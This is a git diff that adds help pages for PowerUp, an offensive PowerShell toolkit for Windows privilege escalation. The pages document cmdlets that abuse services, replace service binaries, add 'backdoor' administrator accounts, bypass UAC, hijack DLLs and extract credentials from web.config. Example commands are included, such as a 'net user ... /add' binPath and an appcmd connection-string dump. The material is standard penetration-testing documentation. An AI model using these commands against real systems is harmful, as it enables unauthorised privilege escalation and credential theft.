EXAMPLE 1 -------------------------- +``` +Get-UnattendedInstallFile +``` + +Finds any remaining unattended installation files. + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### PowerUp.UnattendedInstallFile + +Custom PSObject containing results. + +## NOTES + +## RELATED LINKS + +[http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html) + diff --git a/docs/Privesc/Get-UnquotedService.md b/docs/Privesc/Get-UnquotedService.md new file mode 100755 index 0000000..4b61355 --- /dev/null +++ b/docs/Privesc/Get-UnquotedService.md @@ -0,0 +1,45 @@ +# Get-UnquotedService + +## SYNOPSIS +Get-UnquotedService Returns the name and binary path for services with unquoted paths +that also have a space in the name. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath, Test-ServiceDaclPermission + +## SYNTAX + +``` +Get-UnquotedService +``` + +## DESCRIPTION +Uses Get-WmiObject to query all win32_service objects and extract out +the binary pathname for each. +Then checks if any binary paths have a space +and aren't quoted. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-UnquotedService +``` + +Get a set of potentially exploitable services. + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### PowerUp.UnquotedService + +## NOTES + +## RELATED LINKS + +[https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb) + diff --git a/docs/Privesc/Get-WebConfig.md b/docs/Privesc/Get-WebConfig.md new file mode 100755 index 0000000..78cef7d --- /dev/null +++ b/docs/Privesc/Get-WebConfig.md @@ -0,0 +1,93 @@ +# Get-WebConfig + +## SYNOPSIS +This script will recover cleartext and encrypted connection strings from all web.config +files on the system. +Also, it will decrypt them if needed. + +Author: Scott Sutherland, Antti Rantasaari +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-WebConfig +``` + +## DESCRIPTION +This script will identify all of the web.config files on the system and recover the +connection strings used to support authentication to backend databases. +If needed, the +script will also decrypt the connection strings on the fly. +The output supports the +pipeline which can be used to convert all of the results into a pretty table by piping +to format-table. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Return a list of cleartext and decrypted connect strings from web.config files. +``` + +Get-WebConfig + +user : s1admin +pass : s1password +dbserv : 192.168.1.103\server1 +vdir : C:\test2 +path : C:\test2\web.config +encr : No + +user : s1user +pass : s1password +dbserv : 192.168.1.103\server1 +vdir : C:\inetpub\wwwroot +path : C:\inetpub\wwwroot\web.config +encr : Yes + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Return a list of clear text and decrypted connect strings from web.config files. +``` + +Get-WebConfig | Format-Table -Autosize + +user pass dbserv vdir path encr +---- ---- ------ ---- ---- ---- +s1admin s1password 192.168.1.101\server1 C:\App1 C:\App1\web.config No +s1user s1password 192.168.1.101\server1 C:\inetpub\wwwroot C:\inetpub\wwwroot\web.config No +s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\test\web.config No +s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\web.config Yes +s3user s3password 192.168.1.103\server3 D:\App3 D:\App3\web.config No + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### System.Boolean + +System.Data.DataTable + +## NOTES +Below is an alterantive method for grabbing connection strings, but it doesn't support decryption. +for /f "tokens=*" %i in ('%systemroot%\system32\inetsrv\appcmd.exe list sites /text:name') do %systemroot%\system32\inetsrv\appcmd.exe list config "%i" -section:connectionstrings + +Author: Scott Sutherland - 2014, NetSPI +Author: Antti Rantasaari - 2014, NetSPI + +## RELATED LINKS + +[https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 +http://www.netspi.com +https://raw2.github.com/NetSPI/cmdsql/master/cmdsql.aspx +http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe +http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx](https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 +http://www.netspi.com +https://raw2.github.com/NetSPI/cmdsql/master/cmdsql.aspx +http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe +http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx) + diff --git a/docs/Privesc/Install-ServiceBinary.md b/docs/Privesc/Install-ServiceBinary.md new file mode 100755 index 0000000..bc75a2a --- /dev/null +++ b/docs/Privesc/Install-ServiceBinary.md @@ -0,0 +1,175 @@ +# Install-ServiceBinary + +## SYNOPSIS +Replaces the service binary for the specified service with one that executes +a specified command as SYSTEM. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ServiceDetail, Get-ModifiablePath, Write-ServiceBinary + +## SYNTAX + +``` +Install-ServiceBinary [-Name] [-UserName ] [-Password ] [-LocalGroup ] + [-Credential ] [-Command ] +``` + +## DESCRIPTION +Takes a esrvice Name or a ServiceProcess.ServiceController on the pipeline where the +current user can modify the associated service binary listed in the binPath. +Backs up +the original service binary to "OriginalService.exe.bak" in service binary location, +and then uses Write-ServiceBinary to create a C# service binary that either adds +a local administrator user or executes a custom command. +The new service binary is +replaced in the original service binary path, and a custom object is returned that +captures the original and new service binary configuration. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Install-ServiceBinary -Name VulnSVC +``` + +Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary +for VulnSVC with one that adds a local Administrator (john/Password123!). + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Service VulnSVC | Install-ServiceBinary +``` + +Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary +for VulnSVC with one that adds a local Administrator (john/Password123!). + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Install-ServiceBinary -Name VulnSVC -UserName 'TESTLAB\john' +``` + +Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary +for VulnSVC with one that adds TESTLAB\john to the Administrators local group. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Install-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123! +``` + +Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary +for VulnSVC with one that adds a local Administrator (backdoor/Password123!). + +### -------------------------- EXAMPLE 5 -------------------------- +``` +Install-ServiceBinary -Name VulnSVC -Command "net ..." +``` + +Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary +for VulnSVC with one that executes a custom command. + +## PARAMETERS + +### -Name +The service name the EXE will be running under. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServiceName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -UserName +The \[domain\\\]username to add. +If not given, it defaults to "john". +Domain users are not created, only added to the specified localgroup. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: John +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Password +The password to set for the added user. +If not given, it defaults to "Password123!" + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Password123! +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LocalGroup +Local group name to add the user to (default of 'Administrators'). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Administrators +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object specifying the user/password to add. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Command +Custom command to execute instead of user creation. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.ServiceBinary.Installed + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Invoke-PrivescAudit.md b/docs/Privesc/Invoke-PrivescAudit.md new file mode 100755 index 0000000..7110962 --- /dev/null +++ b/docs/Privesc/Invoke-PrivescAudit.md @@ -0,0 +1,63 @@ +# Invoke-PrivescAudit + +## SYNOPSIS +Executes all functions that check for various Windows privilege escalation opportunities. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Invoke-PrivescAudit [-HTMLReport] +``` + +## DESCRIPTION +Executes all functions that check for various Windows privilege escalation opportunities. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Invoke-PrivescAudit +``` + +Runs all escalation checks and outputs a status report for discovered issues. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Invoke-PrivescAudit -HTMLReport +``` + +Runs all escalation checks and outputs a status report to SYSTEM.username.html +detailing any discovered issues. + +## PARAMETERS + +### -HTMLReport +Switch. +Write a HTML version of the report to SYSTEM.username.html. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### System.String + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Invoke-ServiceAbuse.md b/docs/Privesc/Invoke-ServiceAbuse.md new file mode 100755 index 0000000..8d493d7 --- /dev/null +++ b/docs/Privesc/Invoke-ServiceAbuse.md @@ -0,0 +1,194 @@ +# Invoke-ServiceAbuse + +## SYNOPSIS +Abuses a function the current user has configuration rights on in order +to add a local administrator or execute a custom command. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ServiceDetail, Set-ServiceBinaryPath + +## SYNTAX + +``` +Invoke-ServiceAbuse [-Name] [-UserName ] [-Password ] [-LocalGroup ] + [-Credential ] [-Command ] [-Force] +``` + +## DESCRIPTION +Takes a service Name or a ServiceProcess.ServiceController on the pipeline that the current +user has configuration modification rights on and executes a series of automated actions to +execute commands as SYSTEM. +First, the service is enabled if it was set as disabled and the +original service binary path and configuration state are preserved. +Then the service is stopped +and the Set-ServiceBinaryPath function is used to set the binary (binPath) for the service to a +series of commands, the service is started, stopped, and the next command is configured. +After +completion, the original service configuration is restored and a custom object is returned +that captures the service abused and commands run. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Invoke-ServiceAbuse -Name VulnSVC +``` + +Abuses service 'VulnSVC' to add a localuser "john" with password +"Password123! +to the machine and local administrator group + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Service VulnSVC | Invoke-ServiceAbuse +``` + +Abuses service 'VulnSVC' to add a localuser "john" with password +"Password123! +to the machine and local administrator group + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Invoke-ServiceAbuse -Name VulnSVC -UserName "TESTLAB\john" +``` + +Abuses service 'VulnSVC' to add a the domain user TESTLAB\john to the +local adminisrtators group. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Invoke-ServiceAbuse -Name VulnSVC -UserName backdoor -Password password -LocalGroup "Power Users" +``` + +Abuses service 'VulnSVC' to add a localuser "backdoor" with password +"password" to the machine and local "Power Users" group + +### -------------------------- EXAMPLE 5 -------------------------- +``` +Invoke-ServiceAbuse -Name VulnSVC -Command "net ..." +``` + +Abuses service 'VulnSVC' to execute a custom command. + +## PARAMETERS + +### -Name +An array of one or more service names to abuse. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: ServiceName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -UserName +The \[domain\\\]username to add. +If not given, it defaults to "john". +Domain users are not created, only added to the specified localgroup. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: John +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Password +The password to set for the added user. +If not given, it defaults to "Password123!" + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Password123! +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LocalGroup +Local group name to add the user to (default of 'Administrators'). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Administrators +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object specifying the user/password to add. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Command +Custom command to execute instead of user creation. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Force +Switch. +Force service stopping, even if other services are dependent. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.AbusedService + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Invoke-WScriptUACBypass.md b/docs/Privesc/Invoke-WScriptUACBypass.md new file mode 100755 index 0000000..f9eeb8d --- /dev/null +++ b/docs/Privesc/Invoke-WScriptUACBypass.md @@ -0,0 +1,85 @@ +# Invoke-WScriptUACBypass + +## SYNOPSIS +Performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe. + +Author: Matt Nelson (@enigma0x3), Will Schroeder (@harmj0y), Vozzie +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Invoke-WScriptUACBypass [-Command] [-WindowStyle ] +``` + +## DESCRIPTION +Drops wscript.exe and a custom manifest into C:\Windows and then proceeds to execute +VBScript using the wscript executable with the new manifest. +The VBScript executed by +C:\Windows\wscript.exe will run elevated. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +" +``` + +Launches the specified PowerShell encoded command in high-integrity. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Invoke-WScriptUACBypass -Command cmd.exe -WindowStyle 'Visible' +``` + +Spawns a high integrity cmd.exe. + +## PARAMETERS + +### -Command +The shell command you want wscript.exe to run elevated. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: CMD + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -WindowStyle +Whether to display or hide the window for the executed '-Command X'. +Accepted values are 'Hidden' and 'Normal'/'Visible. +Default is 'Hidden'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Hidden +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html +https://github.com/Vozzie/uacscript +https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-WScriptBypassUAC.ps1](http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html +https://github.com/Vozzie/uacscript +https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-WScriptBypassUAC.ps1) + diff --git a/docs/Privesc/Restore-ServiceBinary.md b/docs/Privesc/Restore-ServiceBinary.md new file mode 100755 index 0000000..a88fc29 --- /dev/null +++ b/docs/Privesc/Restore-ServiceBinary.md @@ -0,0 +1,87 @@ +# Restore-ServiceBinary + +## SYNOPSIS +Restores a service binary backed up by Install-ServiceBinary. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ServiceDetail, Get-ModifiablePath + +## SYNTAX + +``` +Restore-ServiceBinary [-Name] [[-BackupPath] ] +``` + +## DESCRIPTION +Takes a service Name or a ServiceProcess.ServiceController on the pipeline and +checks for the existence of an "OriginalServiceBinary.exe.bak" in the service +binary location. +If it exists, the backup binary is restored to the original +binary path. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Restore-ServiceBinary -Name VulnSVC +``` + +Restore the original binary for the service 'VulnSVC'. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Service VulnSVC | Restore-ServiceBinary +``` + +Restore the original binary for the service 'VulnSVC'. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Restore-ServiceBinary -Name VulnSVC -BackupPath 'C:\temp\backup.exe' +``` + +Restore the original binary for the service 'VulnSVC' from a custom location. + +## PARAMETERS + +### -Name +The service name to restore a binary for. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServiceName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -BackupPath +Optional manual path to the backup binary. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.ServiceBinary.Installed + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Set-ServiceBinaryPath.md b/docs/Privesc/Set-ServiceBinaryPath.md new file mode 100755 index 0000000..b39926f --- /dev/null +++ b/docs/Privesc/Set-ServiceBinaryPath.md @@ -0,0 +1,92 @@ +# Set-ServiceBinaryPath + +## SYNOPSIS +Sets the binary path for a service to a specified value. + +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: PSReflect + +## SYNTAX + +``` +Set-ServiceBinaryPath [-Name] [-Path] +``` + +## DESCRIPTION +Takes a service Name or a ServiceProcess.ServiceController on the pipeline and first opens up a +service handle to the service with ConfigControl access using the GetServiceHandle +Win32 API call. +ChangeServiceConfig is then used to set the binary path (lpBinaryPathName/binPath) +to the string value specified by binPath, and the handle is closed off. + +Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a +Dacl field to each object. +It does this by opening a handle with ReadControl for the +service with using the GetServiceHandle Win32 API call and then uses +QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Set-ServiceBinaryPath -Name VulnSvc -Path 'net user john Password123! /add' +``` + +Sets the binary path for 'VulnSvc' to be a command to add a user. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Service VulnSvc | Set-ServiceBinaryPath -Path 'net user john Password123! /add' +``` + +Sets the binary path for 'VulnSvc' to be a command to add a user. + +## PARAMETERS + +### -Name +An array of one or more service names to set the binary path for. +Required. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: ServiceName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Path +The new binary path (lpBinaryPathName) to set for the specified service. +Required. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: BinaryPath, binPath + +Required: True +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### System.Boolean + +$True if configuration succeeds, $False otherwise. + +## NOTES + +## RELATED LINKS + +[https://msdn.microsoft.com/en-us/library/windows/desktop/ms681987(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/windows/desktop/ms681987(v=vs.85).aspx) + diff --git a/docs/Privesc/Test-ServiceDaclPermission.md b/docs/Privesc/Test-ServiceDaclPermission.md new file mode 100755 index 0000000..2251a11 --- /dev/null +++ b/docs/Privesc/Test-ServiceDaclPermission.md @@ -0,0 +1,112 @@ +# Test-ServiceDaclPermission + +## SYNOPSIS +Tests one or more passed services or service names against a given permission set, +returning the service objects where the current user have the specified permissions. + +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: Add-ServiceDacl + +## SYNTAX + +``` +Test-ServiceDaclPermission [-Name] [-Permissions ] [-PermissionSet ] +``` + +## DESCRIPTION +Takes a service Name or a ServiceProcess.ServiceController on the pipeline, and first adds +a service Dacl to the service object with Add-ServiceDacl. +All group SIDs for the current +user are enumerated services where the user has some type of permission are filtered. +The +services are then filtered against a specified set of permissions, and services where the +current user have the specified permissions are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-Service | Test-ServiceDaclPermission +``` + +Return all service objects where the current user can modify the service configuration. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Service | Test-ServiceDaclPermission -PermissionSet 'Restart' +``` + +Return all service objects that the current user can restart. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Test-ServiceDaclPermission -Permissions 'Start' -Name 'VulnSVC' +``` + +Return the VulnSVC object if the current user has start permissions. + +## PARAMETERS + +### -Name +An array of one or more service names to test against the specified permission set. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: ServiceName, Service + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Permissions +A manual set of permission to test again. +One of:'QueryConfig', 'ChangeConfig', 'QueryStatus', +'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', UserDefinedControl', +'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity', +'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess' + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PermissionSet +A pre-defined permission set to test a specified service against. +'ChangeConfig', 'Restart', or 'AllAccess'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: ChangeConfig +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### ServiceProcess.ServiceController + +## NOTES + +## RELATED LINKS + +[https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/](https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/) + diff --git a/docs/Privesc/Write-HijackDll.md b/docs/Privesc/Write-HijackDll.md new file mode 100755 index 0000000..d38e3e7 --- /dev/null +++ b/docs/Privesc/Write-HijackDll.md @@ -0,0 +1,173 @@ +# Write-HijackDll + +## SYNOPSIS +Patches in the path to a specified .bat (containing the specified command) into a +pre-compiled hijackable C++ DLL writes the DLL out to the specified ServicePath location. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Write-HijackDll [-DllPath] [[-Architecture] ] [[-BatPath] ] [[-UserName] ] + [[-Password] ] [[-LocalGroup] ] [[-Credential] ] [[-Command] ] +``` + +## DESCRIPTION +First builds a self-deleting .bat file that executes the specified -Command or local user, +to add and writes the.bat out to -BatPath. +The BatPath is then patched into a pre-compiled +C++ DLL that is built to be hijackable by the IKEEXT service. +There are two DLLs, one for +x86 and one for x64, and both are contained as base64-encoded strings. +The DLL is then +written out to the specified OutputFile. + +## EXAMPLES + +### Example 1 +``` +PS C:\> {{ Add example code here }} +``` + +{{ Add example description here }} + +## PARAMETERS + +### -DllPath +File name to write the generated DLL out to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Architecture +The Architecture to generate for the DLL, x86 or x64. +If not specified, PowerUp +will try to automatically determine the correct architecture. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -BatPath +Path to the .bat for the DLL to launch. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserName +The \[domain\\\]username to add. +If not given, it defaults to "john". +Domain users are not created, only added to the specified localgroup. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: John +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Password +The password to set for the added user. +If not given, it defaults to "Password123!" + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: Password123! +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LocalGroup +Local group name to add the user to (default of 'Administrators'). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 6 +Default value: Administrators +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object specifying the user/password to add. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 7 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Command +Custom command to execute instead of user creation. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 8 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.HijackableDLL + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Write-ServiceBinary.md b/docs/Privesc/Write-ServiceBinary.md new file mode 100755 index 0000000..7d588a5 --- /dev/null +++ b/docs/Privesc/Write-ServiceBinary.md @@ -0,0 +1,191 @@ +# Write-ServiceBinary + +## SYNOPSIS +Patches in the specified command to a pre-compiled C# service executable and +writes the binary out to the specified ServicePath location. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Write-ServiceBinary [-Name] [-UserName ] [-Password ] [-LocalGroup ] + [-Credential ] [-Command ] [-Path ] +``` + +## DESCRIPTION +Takes a pre-compiled C# service binary and patches in the appropriate commands needed +for service abuse. +If a -UserName/-Password or -Credential is specified, the command +patched in creates a local user and adds them to the specified -LocalGroup, otherwise +the specified -Command is patched in. +The binary is then written out to the specified +-ServicePath. +Either -Name must be specified for the service, or a proper object from +Get-Service must be passed on the pipeline in order to patch in the appropriate service +name the binary will be running under. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Write-ServiceBinary -Name VulnSVC +``` + +Writes a service binary to service.exe in the local directory for VulnSVC that +adds a local Administrator (john/Password123!). + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Service VulnSVC | Write-ServiceBinary +``` + +Writes a service binary to service.exe in the local directory for VulnSVC that +adds a local Administrator (john/Password123!). + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Write-ServiceBinary -Name VulnSVC -UserName 'TESTLAB\john' +``` + +Writes a service binary to service.exe in the local directory for VulnSVC that adds +TESTLAB\john to the Administrators local group. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Write-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123! +``` + +Writes a service binary to service.exe in the local directory for VulnSVC that +adds a local Administrator (backdoor/Password123!). + +### -------------------------- EXAMPLE 5 -------------------------- +``` +Write-ServiceBinary -Name VulnSVC -Command "net ..." +``` + +Writes a service binary to service.exe in the local directory for VulnSVC that +executes a custom command. + +## PARAMETERS + +### -Name +The service name the EXE will be running under. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServiceName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -UserName +The \[domain\\\]username to add. +If not given, it defaults to "john". +Domain users are not created, only added to the specified localgroup. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: John +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Password +The password to set for the added user. +If not given, it defaults to "Password123!" + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Password123! +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LocalGroup +Local group name to add the user to (default of 'Administrators'). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Administrators +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object specifying the user/password to add. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Command +Custom command to execute instead of user creation. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Path +Path to write the binary out to, defaults to 'service.exe' in the local directory. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: "$(Convert-Path .)\service.exe" +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.ServiceBinary + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Write-UserAddMSI.md b/docs/Privesc/Write-UserAddMSI.md new file mode 100755 index 0000000..cac959d --- /dev/null +++ b/docs/Privesc/Write-UserAddMSI.md @@ -0,0 +1,56 @@ +# Write-UserAddMSI + +## SYNOPSIS +Writes out a precompiled MSI installer that prompts for a user/group addition. +This function can be used to abuse Get-RegistryAlwaysInstallElevated. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Write-UserAddMSI [[-Path] ] +``` + +## DESCRIPTION +Writes out a precompiled MSI installer that prompts for a user/group addition. +This function can be used to abuse Get-RegistryAlwaysInstallElevated. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Write-UserAddMSI +``` + +Writes the user add MSI to the local directory. + +## PARAMETERS + +### -Path +{{Fill Path Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServiceName + +Required: False +Position: 1 +Default value: UserAdd.msi +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.UserAddMSI + +## NOTES + +## RELATED LINKS + 